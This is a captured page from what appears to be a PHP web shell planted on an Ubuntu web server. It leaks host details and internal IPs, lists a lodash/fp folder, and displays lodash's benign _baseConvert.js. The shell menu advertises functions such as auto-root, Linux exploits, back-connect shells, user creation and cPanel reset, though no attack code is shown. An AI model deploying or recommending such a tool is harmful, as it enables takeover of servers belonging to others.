Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cqt /
server /
node_modules /
lodash /
fp /
[ HOME SHELL ]
Name
Size
Permission
Action
F.js
41
B
-rw-r--r--
T.js
40
B
-rw-r--r--
__.js
43
B
-rw-r--r--
_baseConvert.js
16.03
KB
-rw-r--r--
_convertBrowser.js
615
B
-rw-r--r--
_falseOptions.js
113
B
-rw-r--r--
_mapping.js
9.72
KB
-rw-r--r--
_util.js
524
B
-rw-r--r--
add.js
151
B
-rw-r--r--
after.js
155
B
-rw-r--r--
all.js
37
B
-rw-r--r--
allPass.js
41
B
-rw-r--r--
always.js
40
B
-rw-r--r--
any.js
36
B
-rw-r--r--
anyPass.js
40
B
-rw-r--r--
apply.js
38
B
-rw-r--r--
array.js
83
B
-rw-r--r--
ary.js
151
B
-rw-r--r--
assign.js
157
B
-rw-r--r--
assignAll.js
160
B
-rw-r--r--
assignAllWith.js
168
B
-rw-r--r--
assignIn.js
161
B
-rw-r--r--
assignInAll.js
164
B
-rw-r--r--
assignInAllWith.js
172
B
-rw-r--r--
assignInWith.js
169
B
-rw-r--r--
assignWith.js
165
B
-rw-r--r--
assoc.js
35
B
-rw-r--r--
assocPath.js
35
B
-rw-r--r--
at.js
149
B
-rw-r--r--
attempt.js
159
B
-rw-r--r--
before.js
157
B
-rw-r--r--
bind.js
153
B
-rw-r--r--
bindAll.js
159
B
-rw-r--r--
bindKey.js
159
B
-rw-r--r--
camelCase.js
191
B
-rw-r--r--
capitalize.js
193
B
-rw-r--r--
castArray.js
163
B
-rw-r--r--
ceil.js
153
B
-rw-r--r--
chain.js
183
B
-rw-r--r--
chunk.js
155
B
-rw-r--r--
clamp.js
155
B
-rw-r--r--
clone.js
183
B
-rw-r--r--
cloneDeep.js
191
B
-rw-r--r--
cloneDeepWith.js
171
B
-rw-r--r--
cloneWith.js
163
B
-rw-r--r--
collection.js
88
B
-rw-r--r--
commit.js
185
B
-rw-r--r--
compact.js
187
B
-rw-r--r--
complement.js
38
B
-rw-r--r--
compose.js
41
B
-rw-r--r--
concat.js
157
B
-rw-r--r--
cond.js
181
B
-rw-r--r--
conforms.js
42
B
-rw-r--r--
conformsTo.js
165
B
-rw-r--r--
constant.js
189
B
-rw-r--r--
contains.js
40
B
-rw-r--r--
convert.js
657
B
-rw-r--r--
countBy.js
159
B
-rw-r--r--
create.js
157
B
-rw-r--r--
curry.js
155
B
-rw-r--r--
curryN.js
156
B
-rw-r--r--
curryRight.js
165
B
-rw-r--r--
curryRightN.js
166
B
-rw-r--r--
date.js
82
B
-rw-r--r--
debounce.js
161
B
-rw-r--r--
deburr.js
185
B
-rw-r--r--
defaultTo.js
163
B
-rw-r--r--
defaults.js
161
B
-rw-r--r--
defaultsAll.js
164
B
-rw-r--r--
defaultsDeep.js
169
B
-rw-r--r--
defaultsDeepAll.js
172
B
-rw-r--r--
defer.js
183
B
-rw-r--r--
delay.js
155
B
-rw-r--r--
difference.js
165
B
-rw-r--r--
differenceBy.js
169
B
-rw-r--r--
differenceWith.js
173
B
-rw-r--r--
dissoc.js
37
B
-rw-r--r--
dissocPath.js
37
B
-rw-r--r--
divide.js
157
B
-rw-r--r--
drop.js
153
B
-rw-r--r--
dropLast.js
41
B
-rw-r--r--
dropLastWhile.js
46
B
-rw-r--r--
dropRight.js
163
B
-rw-r--r--
dropRightWhile.js
173
B
-rw-r--r--
dropWhile.js
163
B
-rw-r--r--
each.js
39
B
-rw-r--r--
eachRight.js
44
B
-rw-r--r--
endsWith.js
161
B
-rw-r--r--
entries.js
39
B
-rw-r--r--
entriesIn.js
41
B
-rw-r--r--
eq.js
149
B
-rw-r--r--
equals.js
39
B
-rw-r--r--
escape.js
185
B
-rw-r--r--
escapeRegExp.js
197
B
-rw-r--r--
every.js
155
B
-rw-r--r--
extend.js
40
B
-rw-r--r--
extendAll.js
43
B
-rw-r--r--
extendAllWith.js
47
B
-rw-r--r--
extendWith.js
44
B
-rw-r--r--
fill.js
153
B
-rw-r--r--
filter.js
157
B
-rw-r--r--
find.js
153
B
-rw-r--r--
findFrom.js
157
B
-rw-r--r--
findIndex.js
163
B
-rw-r--r--
findIndexFrom.js
167
B
-rw-r--r--
findKey.js
159
B
-rw-r--r--
findLast.js
161
B
-rw-r--r--
findLastFrom.js
165
B
-rw-r--r--
findLastIndex.js
171
B
-rw-r--r--
findLastIndexFrom.js
175
B
-rw-r--r--
findLastKey.js
167
B
-rw-r--r--
first.js
36
B
-rw-r--r--
flatMap.js
159
B
-rw-r--r--
flatMapDeep.js
167
B
-rw-r--r--
flatMapDepth.js
169
B
-rw-r--r--
flatten.js
187
B
-rw-r--r--
flattenDeep.js
195
B
-rw-r--r--
flattenDepth.js
169
B
-rw-r--r--
flip.js
181
B
-rw-r--r--
floor.js
155
B
-rw-r--r--
flow.js
153
B
-rw-r--r--
flowRight.js
163
B
-rw-r--r--
forEach.js
159
B
-rw-r--r--
forEachRight.js
169
B
-rw-r--r--
forIn.js
155
B
-rw-r--r--
forInRight.js
165
B
-rw-r--r--
forOwn.js
157
B
-rw-r--r--
forOwnRight.js
167
B
-rw-r--r--
fromPairs.js
163
B
-rw-r--r--
function.js
86
B
-rw-r--r--
functions.js
191
B
-rw-r--r--
functionsIn.js
195
B
-rw-r--r--
get.js
151
B
-rw-r--r--
getOr.js
153
B
-rw-r--r--
groupBy.js
159
B
-rw-r--r--
gt.js
149
B
-rw-r--r--
gte.js
151
B
-rw-r--r--
has.js
151
B
-rw-r--r--
hasIn.js
155
B
-rw-r--r--
head.js
181
B
-rw-r--r--
identical.js
34
B
-rw-r--r--
identity.js
189
B
-rw-r--r--
inRange.js
159
B
-rw-r--r--
includes.js
161
B
-rw-r--r--
includesFrom.js
165
B
-rw-r--r--
indexBy.js
37
B
-rw-r--r--
indexOf.js
159
B
-rw-r--r--
indexOfFrom.js
163
B
-rw-r--r--
init.js
39
B
-rw-r--r--
initial.js
187
B
-rw-r--r--
intersection.js
169
B
-rw-r--r--
intersectionBy.js
173
B
-rw-r--r--
intersectionWith.js
177
B
-rw-r--r--
invert.js
157
B
-rw-r--r--
invertBy.js
161
B
-rw-r--r--
invertObj.js
38
B
-rw-r--r--
invoke.js
157
B
-rw-r--r--
invokeArgs.js
161
B
-rw-r--r--
invokeArgsMap.js
167
B
-rw-r--r--
invokeMap.js
163
B
-rw-r--r--
isArguments.js
195
B
-rw-r--r--
isArray.js
187
B
-rw-r--r--
isArrayBuffer.js
199
B
-rw-r--r--
isArrayLike.js
195
B
-rw-r--r--
isArrayLikeObject.js
207
B
-rw-r--r--
isBoolean.js
191
B
-rw-r--r--
isBuffer.js
189
B
-rw-r--r--
isDate.js
185
B
-rw-r--r--
isElement.js
191
B
-rw-r--r--
isEmpty.js
187
B
-rw-r--r--
isEqual.js
159
B
-rw-r--r--
isEqualWith.js
167
B
-rw-r--r--
isError.js
187
B
-rw-r--r--
isFinite.js
189
B
-rw-r--r--
isFunction.js
193
B
-rw-r--r--
isInteger.js
191
B
-rw-r--r--
isLength.js
189
B
-rw-r--r--
isMap.js
183
B
-rw-r--r--
isMatch.js
159
B
-rw-r--r--
isMatchWith.js
167
B
-rw-r--r--
isNaN.js
183
B
-rw-r--r--
isNative.js
189
B
-rw-r--r--
isNil.js
183
B
-rw-r--r--
isNull.js
185
B
-rw-r--r--
isNumber.js
189
B
-rw-r--r--
isObject.js
189
B
-rw-r--r--
isObjectLike.js
197
B
-rw-r--r--
isPlainObject.js
199
B
-rw-r--r--
isRegExp.js
189
B
-rw-r--r--
isSafeInteger.js
199
B
-rw-r--r--
isSet.js
183
B
-rw-r--r--
isString.js
189
B
-rw-r--r--
isSymbol.js
189
B
-rw-r--r--
isTypedArray.js
197
B
-rw-r--r--
isUndefined.js
195
B
-rw-r--r--
isWeakMap.js
191
B
-rw-r--r--
isWeakSet.js
191
B
-rw-r--r--
iteratee.js
161
B
-rw-r--r--
join.js
153
B
-rw-r--r--
juxt.js
36
B
-rw-r--r--
kebabCase.js
191
B
-rw-r--r--
keyBy.js
155
B
-rw-r--r--
keys.js
181
B
-rw-r--r--
keysIn.js
185
B
-rw-r--r--
lang.js
82
B
-rw-r--r--
last.js
181
B
-rw-r--r--
lastIndexOf.js
167
B
-rw-r--r--
lastIndexOfFrom.js
171
B
-rw-r--r--
lowerCase.js
191
B
-rw-r--r--
lowerFirst.js
193
B
-rw-r--r--
lt.js
149
B
-rw-r--r--
lte.js
151
B
-rw-r--r--
map.js
151
B
-rw-r--r--
mapKeys.js
159
B
-rw-r--r--
mapValues.js
163
B
-rw-r--r--
matches.js
39
B
-rw-r--r--
matchesProperty.js
175
B
-rw-r--r--
math.js
82
B
-rw-r--r--
max.js
179
B
-rw-r--r--
maxBy.js
155
B
-rw-r--r--
mean.js
181
B
-rw-r--r--
meanBy.js
157
B
-rw-r--r--
memoize.js
159
B
-rw-r--r--
merge.js
155
B
-rw-r--r--
mergeAll.js
158
B
-rw-r--r--
mergeAllWith.js
166
B
-rw-r--r--
mergeWith.js
163
B
-rw-r--r--
method.js
157
B
-rw-r--r--
methodOf.js
161
B
-rw-r--r--
min.js
179
B
-rw-r--r--
minBy.js
155
B
-rw-r--r--
mixin.js
155
B
-rw-r--r--
multiply.js
161
B
-rw-r--r--
nAry.js
35
B
-rw-r--r--
negate.js
185
B
-rw-r--r--
next.js
181
B
-rw-r--r--
noop.js
181
B
-rw-r--r--
now.js
179
B
-rw-r--r--
nth.js
151
B
-rw-r--r--
nthArg.js
157
B
-rw-r--r--
number.js
84
B
-rw-r--r--
object.js
84
B
-rw-r--r--
omit.js
153
B
-rw-r--r--
omitAll.js
36
B
-rw-r--r--
omitBy.js
157
B
-rw-r--r--
once.js
181
B
-rw-r--r--
orderBy.js
159
B
-rw-r--r--
over.js
153
B
-rw-r--r--
overArgs.js
161
B
-rw-r--r--
overEvery.js
163
B
-rw-r--r--
overSome.js
161
B
-rw-r--r--
pad.js
151
B
-rw-r--r--
padChars.js
156
B
-rw-r--r--
padCharsEnd.js
162
B
-rw-r--r--
padCharsStart.js
166
B
-rw-r--r--
padEnd.js
157
B
-rw-r--r--
padStart.js
161
B
-rw-r--r--
parseInt.js
161
B
-rw-r--r--
partial.js
159
B
-rw-r--r--
partialRight.js
169
B
-rw-r--r--
partition.js
163
B
-rw-r--r--
path.js
35
B
-rw-r--r--
pathEq.js
47
B
-rw-r--r--
pathOr.js
37
B
-rw-r--r--
paths.js
34
B
-rw-r--r--
pick.js
153
B
-rw-r--r--
pickAll.js
36
B
-rw-r--r--
pickBy.js
157
B
-rw-r--r--
pipe.js
36
B
-rw-r--r--
placeholder.js
105
B
-rw-r--r--
plant.js
183
B
-rw-r--r--
pluck.js
35
B
-rw-r--r--
prop.js
35
B
-rw-r--r--
propEq.js
47
B
-rw-r--r--
propOr.js
37
B
-rw-r--r--
property.js
35
B
-rw-r--r--
propertyOf.js
158
B
-rw-r--r--
props.js
34
B
-rw-r--r--
pull.js
153
B
-rw-r--r--
pullAll.js
159
B
-rw-r--r--
pullAllBy.js
163
B
-rw-r--r--
pullAllWith.js
167
B
-rw-r--r--
pullAt.js
157
B
-rw-r--r--
random.js
157
B
-rw-r--r--
range.js
155
B
-rw-r--r--
rangeRight.js
165
B
-rw-r--r--
rangeStep.js
159
B
-rw-r--r--
rangeStepRight.js
169
B
-rw-r--r--
rearg.js
155
B
-rw-r--r--
reduce.js
157
B
-rw-r--r--
reduceRight.js
167
B
-rw-r--r--
reject.js
157
B
-rw-r--r--
remove.js
157
B
-rw-r--r--
repeat.js
157
B
-rw-r--r--
replace.js
159
B
-rw-r--r--
rest.js
153
B
-rw-r--r--
restFrom.js
157
B
-rw-r--r--
result.js
157
B
-rw-r--r--
reverse.js
159
B
-rw-r--r--
round.js
155
B
-rw-r--r--
sample.js
185
B
-rw-r--r--
sampleSize.js
165
B
-rw-r--r--
seq.js
81
B
-rw-r--r--
set.js
151
B
-rw-r--r--
setWith.js
159
B
-rw-r--r--
shuffle.js
187
B
-rw-r--r--
size.js
181
B
-rw-r--r--
slice.js
155
B
-rw-r--r--
snakeCase.js
191
B
-rw-r--r--
some.js
153
B
-rw-r--r--
sortBy.js
157
B
-rw-r--r--
sortedIndex.js
167
B
-rw-r--r--
sortedIndexBy.js
171
B
-rw-r--r--
sortedIndexOf.js
171
B
-rw-r--r--
sortedLastIndex.js
175
B
-rw-r--r--
sortedLastIndexBy.js
179
B
-rw-r--r--
sortedLastIndexOf.js
179
B
-rw-r--r--
sortedUniq.js
193
B
-rw-r--r--
sortedUniqBy.js
169
B
-rw-r--r--
split.js
155
B
-rw-r--r--
spread.js
157
B
-rw-r--r--
spreadFrom.js
161
B
-rw-r--r--
startCase.js
191
B
-rw-r--r--
startsWith.js
165
B
-rw-r--r--
string.js
84
B
-rw-r--r--
stubArray.js
191
B
-rw-r--r--
stubFalse.js
191
B
-rw-r--r--
stubObject.js
193
B
-rw-r--r--
stubString.js
193
B
-rw-r--r--
stubTrue.js
189
B
-rw-r--r--
subtract.js
161
B
-rw-r--r--
sum.js
179
B
-rw-r--r--
sumBy.js
155
B
-rw-r--r--
symmetricDifference.js
35
B
-rw-r--r--
symmetricDifferenceBy.js
37
B
-rw-r--r--
symmetricDifferenceWith.js
39
B
-rw-r--r--
tail.js
181
B
-rw-r--r--
take.js
153
B
-rw-r--r--
takeLast.js
41
B
-rw-r--r--
takeLastWhile.js
46
B
-rw-r--r--
takeRight.js
163
B
-rw-r--r--
takeRightWhile.js
173
B
-rw-r--r--
takeWhile.js
163
B
-rw-r--r--
tap.js
151
B
-rw-r--r--
template.js
161
B
-rw-r--r--
templateSettings.js
205
B
-rw-r--r--
throttle.js
161
B
-rw-r--r--
thru.js
153
B
-rw-r--r--
times.js
155
B
-rw-r--r--
toArray.js
187
B
-rw-r--r--
toFinite.js
189
B
-rw-r--r--
toInteger.js
191
B
-rw-r--r--
toIterator.js
193
B
-rw-r--r--
toJSON.js
185
B
-rw-r--r--
toLength.js
189
B
-rw-r--r--
toLower.js
187
B
-rw-r--r--
toNumber.js
189
B
-rw-r--r--
toPairs.js
187
B
-rw-r--r--
toPairsIn.js
191
B
-rw-r--r--
toPath.js
185
B
-rw-r--r--
toPlainObject.js
199
B
-rw-r--r--
toSafeInteger.js
199
B
-rw-r--r--
toString.js
189
B
-rw-r--r--
toUpper.js
187
B
-rw-r--r--
transform.js
163
B
-rw-r--r--
trim.js
153
B
-rw-r--r--
trimChars.js
158
B
-rw-r--r--
trimCharsEnd.js
164
B
-rw-r--r--
trimCharsStart.js
168
B
-rw-r--r--
trimEnd.js
159
B
-rw-r--r--
trimStart.js
163
B
-rw-r--r--
truncate.js
161
B
-rw-r--r--
unapply.js
36
B
-rw-r--r--
unary.js
183
B
-rw-r--r--
unescape.js
189
B
-rw-r--r--
union.js
155
B
-rw-r--r--
unionBy.js
159
B
-rw-r--r--
unionWith.js
163
B
-rw-r--r--
uniq.js
181
B
-rw-r--r--
uniqBy.js
157
B
-rw-r--r--
uniqWith.js
161
B
-rw-r--r--
uniqueId.js
161
B
-rw-r--r--
unnest.js
39
B
-rw-r--r--
unset.js
155
B
-rw-r--r--
unzip.js
183
B
-rw-r--r--
unzipWith.js
163
B
-rw-r--r--
update.js
157
B
-rw-r--r--
updateWith.js
165
B
-rw-r--r--
upperCase.js
191
B
-rw-r--r--
upperFirst.js
193
B
-rw-r--r--
useWith.js
40
B
-rw-r--r--
util.js
82
B
-rw-r--r--
value.js
183
B
-rw-r--r--
valueOf.js
187
B
-rw-r--r--
values.js
185
B
-rw-r--r--
valuesIn.js
189
B
-rw-r--r--
where.js
42
B
-rw-r--r--
whereEq.js
39
B
-rw-r--r--
without.js
159
B
-rw-r--r--
words.js
155
B
-rw-r--r--
wrap.js
153
B
-rw-r--r--
wrapperAt.js
191
B
-rw-r--r--
wrapperChain.js
197
B
-rw-r--r--
wrapperLodash.js
199
B
-rw-r--r--
wrapperReverse.js
201
B
-rw-r--r--
wrapperValue.js
197
B
-rw-r--r--
xor.js
151
B
-rw-r--r--
xorBy.js
155
B
-rw-r--r--
xorWith.js
159
B
-rw-r--r--
zip.js
151
B
-rw-r--r--
zipAll.js
154
B
-rw-r--r--
zipObj.js
41
B
-rw-r--r--
zipObject.js
163
B
-rw-r--r--
zipObjectDeep.js
171
B
-rw-r--r--
zipWith.js
159
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : _baseConvert.js
var mapping = require('./_mapping'), fallbackHolder = require('./placeholder'); /** Built-in value reference. */ var push = Array.prototype.push; /** * Creates a function, with an arity of `n`, that invokes `func` with the * arguments it receives. * * @private * @param {Function} func The function to wrap. * @param {number} n The arity of the new function. * @returns {Function} Returns the new function. */ function baseArity(func, n) { return n == 2 ? function(a, b) { return func.apply(undefined, arguments); } : function(a) { return func.apply(undefined, arguments); }; } /** * Creates a function that invokes `func`, with up to `n` arguments, ignoring * any additional arguments. * * @private * @param {Function} func The function to cap arguments for. * @param {number} n The arity cap. * @returns {Function} Returns the new function. */ function baseAry(func, n) { return n == 2 ? function(a, b) { return func(a, b); } : function(a) { return func(a); }; } /** * Creates a clone of `array`. * * @private * @param {Array} array The array to clone. * @returns {Array} Returns the cloned array. */ function cloneArray(array) { var length = array ? array.length : 0, result = Array(length); while (length--) { result[length] = array[length]; } return result; } /** * Creates a function that clones a given object using the assignment `func`. * * @private * @param {Function} func The assignment function. * @returns {Function} Returns the new cloner function. */ function createCloner(func) { return function(object) { return func({}, object); }; } /** * A specialized version of `_.spread` which flattens the spread array into * the arguments of the invoked `func`. * * @private * @param {Function} func The function to spread arguments over. * @param {number} start The start position of the spread. * @returns {Function} Returns the new function. */ function flatSpread(func, start) { return function() { var length = arguments.length, lastIndex = length - 1, args = Array(length); while (length--) { args[length] = arguments[length]; } var array = args[start], otherArgs = args.slice(0, start); if (array) { push.apply(otherArgs, array); } if (start != lastIndex) { push.apply(otherArgs, args.slice(start + 1)); } return func.apply(this, otherArgs); }; } /** * Creates a function that wraps `func` and uses `cloner` to clone the first * argument it receives. * * @private * @param {Function} func The function to wrap. * @param {Function} cloner The function to clone arguments. * @returns {Function} Returns the new immutable function. */ function wrapImmutable(func, cloner) { return function() { var length = arguments.length; if (!length) { return; } var args = Array(length); while (length--) { args[length] = arguments[length]; } var result = args[0] = cloner.apply(undefined, args); func.apply(undefined, args); return result; }; } /** * The base implementation of `convert` which accepts a `util` object of methods * required to perform conversions. * * @param {Object} util The util object. * @param {string} name The name of the function to convert. * @param {Function} func The function to convert. * @param {Object} [options] The options object. * @param {boolean} [options.cap=true] Specify capping iteratee arguments. * @param {boolean} [options.curry=true] Specify currying. * @param {boolean} [options.fixed=true] Specify fixed arity. * @param {boolean} [options.immutable=true] Specify immutable operations. * @param {boolean} [options.rearg=true] Specify rearranging arguments. * @returns {Function|Object} Returns the converted function or object. */ function baseConvert(util, name, func, options) { var isLib = typeof name == 'function', isObj = name === Object(name); if (isObj) { options = func; func = name; name = undefined; } if (func == null) { throw new TypeError; } options || (options = {}); var config = { 'cap': 'cap' in options ? options.cap : true, 'curry': 'curry' in options ? options.curry : true, 'fixed': 'fixed' in options ? options.fixed : true, 'immutable': 'immutable' in options ? options.immutable : true, 'rearg': 'rearg' in options ? options.rearg : true }; var defaultHolder = isLib ? func : fallbackHolder, forceCurry = ('curry' in options) && options.curry, forceFixed = ('fixed' in options) && options.fixed, forceRearg = ('rearg' in options) && options.rearg, pristine = isLib ? func.runInContext() : undefined; var helpers = isLib ? func : { 'ary': util.ary, 'assign': util.assign, 'clone': util.clone, 'curry': util.curry, 'forEach': util.forEach, 'isArray': util.isArray, 'isError': util.isError, 'isFunction': util.isFunction, 'isWeakMap': util.isWeakMap, 'iteratee': util.iteratee, 'keys': util.keys, 'rearg': util.rearg, 'toInteger': util.toInteger, 'toPath': util.toPath }; var ary = helpers.ary, assign = helpers.assign, clone = helpers.clone, curry = helpers.curry, each = helpers.forEach, isArray = helpers.isArray, isError = helpers.isError, isFunction = helpers.isFunction, isWeakMap = helpers.isWeakMap, keys = helpers.keys, rearg = helpers.rearg, toInteger = helpers.toInteger, toPath = helpers.toPath; var aryMethodKeys = keys(mapping.aryMethod); var wrappers = { 'castArray': function(castArray) { return function() { var value = arguments[0]; return isArray(value) ? castArray(cloneArray(value)) : castArray.apply(undefined, arguments); }; }, 'iteratee': function(iteratee) { return function() { var func = arguments[0], arity = arguments[1], result = iteratee(func, arity), length = result.length; if (config.cap && typeof arity == 'number') { arity = arity > 2 ? (arity - 2) : 1; return (length && length <= arity) ? result : baseAry(result, arity); } return result; }; }, 'mixin': function(mixin) { return function(source) { var func = this; if (!isFunction(func)) { return mixin(func, Object(source)); } var pairs = []; each(keys(source), function(key) { if (isFunction(source[key])) { pairs.push([key, func.prototype[key]]); } }); mixin(func, Object(source)); each(pairs, function(pair) { var value = pair[1]; if (isFunction(value)) { func.prototype[pair[0]] = value; } else { delete func.prototype[pair[0]]; } }); return func; }; }, 'nthArg': function(nthArg) { return function(n) { var arity = n < 0 ? 1 : (toInteger(n) + 1); return curry(nthArg(n), arity); }; }, 'rearg': function(rearg) { return function(func, indexes) { var arity = indexes ? indexes.length : 0; return curry(rearg(func, indexes), arity); }; }, 'runInContext': function(runInContext) { return function(context) { return baseConvert(util, runInContext(context), options); }; } }; /*--------------------------------------------------------------------------*/ /** * Casts `func` to a function with an arity capped iteratee if needed. * * @private * @param {string} name The name of the function to inspect. * @param {Function} func The function to inspect. * @returns {Function} Returns the cast function. */ function castCap(name, func) { if (config.cap) { var indexes = mapping.iterateeRearg[name]; if (indexes) { return iterateeRearg(func, indexes); } var n = !isLib && mapping.iterateeAry[name]; if (n) { return iterateeAry(func, n); } } return func; } /** * Casts `func` to a curried function if needed. * * @private * @param {string} name The name of the function to inspect. * @param {Function} func The function to inspect. * @param {number} n The arity of `func`. * @returns {Function} Returns the cast function. */ function castCurry(name, func, n) { return (forceCurry || (config.curry && n > 1)) ? curry(func, n) : func; } /** * Casts `func` to a fixed arity function if needed. * * @private * @param {string} name The name of the function to inspect. * @param {Function} func The function to inspect. * @param {number} n The arity cap. * @returns {Function} Returns the cast function. */ function castFixed(name, func, n) { if (config.fixed && (forceFixed || !mapping.skipFixed[name])) { var data = mapping.methodSpread[name], start = data && data.start; return start === undefined ? ary(func, n) : flatSpread(func, start); } return func; } /** * Casts `func` to an rearged function if needed. * * @private * @param {string} name The name of the function to inspect. * @param {Function} func The function to inspect. * @param {number} n The arity of `func`. * @returns {Function} Returns the cast function. */ function castRearg(name, func, n) { return (config.rearg && n > 1 && (forceRearg || !mapping.skipRearg[name])) ? rearg(func, mapping.methodRearg[name] || mapping.aryRearg[n]) : func; } /** * Creates a clone of `object` by `path`. * * @private * @param {Object} object The object to clone. * @param {Array|string} path The path to clone by. * @returns {Object} Returns the cloned object. */ function cloneByPath(object, path) { path = toPath(path); var index = -1, length = path.length, lastIndex = length - 1, result = clone(Object(object)), nested = result; while (nested != null && ++index < length) { var key = path[index], value = nested[key]; if (value != null && !(isFunction(value) || isError(value) || isWeakMap(value))) { nested[key] = clone(index == lastIndex ? value : Object(value)); } nested = nested[key]; } return result; } /** * Converts `lodash` to an immutable auto-curried iteratee-first data-last * version with conversion `options` applied. * * @param {Object} [options] The options object. See `baseConvert` for more details. * @returns {Function} Returns the converted `lodash`. */ function convertLib(options) { return _.runInContext.convert(options)(undefined); } /** * Create a converter function for `func` of `name`. * * @param {string} name The name of the function to convert. * @param {Function} func The function to convert. * @returns {Function} Returns the new converter function. */ function createConverter(name, func) { var realName = mapping.aliasToReal[name] || name, methodName = mapping.remap[realName] || realName, oldOptions = options; return function(options) { var newUtil = isLib ? pristine : helpers, newFunc = isLib ? pristine[methodName] : func, newOptions = assign(assign({}, oldOptions), options); return baseConvert(newUtil, realName, newFunc, newOptions); }; } /** * Creates a function that wraps `func` to invoke its iteratee, with up to `n` * arguments, ignoring any additional arguments. * * @private * @param {Function} func The function to cap iteratee arguments for. * @param {number} n The arity cap. * @returns {Function} Returns the new function. */ function iterateeAry(func, n) { return overArg(func, function(func) { return typeof func == 'function' ? baseAry(func, n) : func; }); } /** * Creates a function that wraps `func` to invoke its iteratee with arguments * arranged according to the specified `indexes` where the argument value at * the first index is provided as the first argument, the argument value at * the second index is provided as the second argument, and so on. * * @private * @param {Function} func The function to rearrange iteratee arguments for. * @param {number[]} indexes The arranged argument indexes. * @returns {Function} Returns the new function. */ function iterateeRearg(func, indexes) { return overArg(func, function(func) { var n = indexes.length; return baseArity(rearg(baseAry(func, n), indexes), n); }); } /** * Creates a function that invokes `func` with its first argument transformed. * * @private * @param {Function} func The function to wrap. * @param {Function} transform The argument transform. * @returns {Function} Returns the new function. */ function overArg(func, transform) { return function() { var length = arguments.length; if (!length) { return func(); } var args = Array(length); while (length--) { args[length] = arguments[length]; } var index = config.rearg ? 0 : (length - 1); args[index] = transform(args[index]); return func.apply(undefined, args); }; } /** * Creates a function that wraps `func` and applys the conversions * rules by `name`. * * @private * @param {string} name The name of the function to wrap. * @param {Function} func The function to wrap. * @returns {Function} Returns the converted function. */ function wrap(name, func, placeholder) { var result, realName = mapping.aliasToReal[name] || name, wrapped = func, wrapper = wrappers[realName]; if (wrapper) { wrapped = wrapper(func); } else if (config.immutable) { if (mapping.mutate.array[realName]) { wrapped = wrapImmutable(func, cloneArray); } else if (mapping.mutate.object[realName]) { wrapped = wrapImmutable(func, createCloner(func)); } else if (mapping.mutate.set[realName]) { wrapped = wrapImmutable(func, cloneByPath); } } each(aryMethodKeys, function(aryKey) { each(mapping.aryMethod[aryKey], function(otherName) { if (realName == otherName) { var data = mapping.methodSpread[realName], afterRearg = data && data.afterRearg; result = afterRearg ? castFixed(realName, castRearg(realName, wrapped, aryKey), aryKey) : castRearg(realName, castFixed(realName, wrapped, aryKey), aryKey); result = castCap(realName, result); result = castCurry(realName, result, aryKey); return false; } }); return !result; }); result || (result = wrapped); if (result == func) { result = forceCurry ? curry(result, 1) : function() { return func.apply(this, arguments); }; } result.convert = createConverter(realName, func); result.placeholder = func.placeholder = placeholder; return result; } /*--------------------------------------------------------------------------*/ if (!isObj) { return wrap(name, func, defaultHolder); } var _ = func; // Convert methods by ary cap. var pairs = []; each(aryMethodKeys, function(aryKey) { each(mapping.aryMethod[aryKey], function(key) { var func = _[mapping.remap[key] || key]; if (func) { pairs.push([key, wrap(key, func, _)]); } }); }); // Convert remaining methods. each(keys(_), function(key) { var func = _[key]; if (typeof func == 'function') { var length = pairs.length; while (length--) { if (pairs[length][0] == key) { return; } } func.convert = createConverter(key, func); pairs.push([key, func]); } }); // Assign to `_` leaving `_.prototype` unchanged to allow chaining. each(pairs, function(pair) { _[pair[0]] = pair[1]; }); _.convert = convertLib; _.placeholder = _; // Assign aliases. each(keys(_), function(key) { each(mapping.realToAlias[key] || [], function(alias) { _[alias] = _[key]; }); }); return _; } module.exports = baseConvert;
Close